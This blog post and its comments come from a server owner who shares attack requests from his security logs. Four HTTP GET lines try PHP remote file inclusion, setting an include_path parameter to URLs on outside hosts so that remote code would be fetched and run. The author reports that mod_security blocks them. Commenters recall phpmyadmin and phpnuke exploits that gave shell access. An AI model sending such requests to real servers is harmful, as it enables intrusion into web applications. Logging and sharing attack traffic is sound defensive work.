Let's try some stupid HTTP requests to my server
For example, this:
GET /article/advanced-guestbook-spam-blockin…//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1
Connection: close
or
GET /article/advanced-guestbook-spam-blockin…//admin.php?include_path=http://www.vnmhost.net/01.gif? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: dmitry-dulepov.com
User-Agent: Mozilla/5.0
or
GET /article//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1
Connection: close
Host: dmitry-dulepov.com
User-Agent: Mozilla/5.0
or
GET /article/advanced-guestbook-spam-blocking.html//admin.php?include_path=http://www.shoppingxxxsource.com/source/idxx.txt?? HTTP/1.1
Connection: close
Host: dmitry-dulepov.com
User-Agent: Mozilla/5.0
I see requests like this daily in security logs of both my servers. They all are stopped by mod_security.
I wonder am I the only one who gets tons of this scum?
If anybody else monitors his/her server security, you are welcome to share your "statistics" about these automated attacks to non–existing web applications.
Comments
Are there any Typo3-mod_security tutorials around or maybe even a ruleset maintained by the t3sec team or something like that?
Dan & Steffen, they do not bother me much except that I always wonder for stupidity of such attacks. They not only waste my resources, they also waste their own. It looks like some beginner hacker attempts.
One was a phpmyadmin exploit which gave the attacker a shell access from a forged http request. Another had been exploiting a hole in phpnuke and allowed the download and execution of a remote shell.
Almost every piece of software has security holes, so solutions like mod_security are required to block such http requests before they reach any hole. It too bad mod_security is so difficult to configure though...
Add a comment
All fields in this form are required!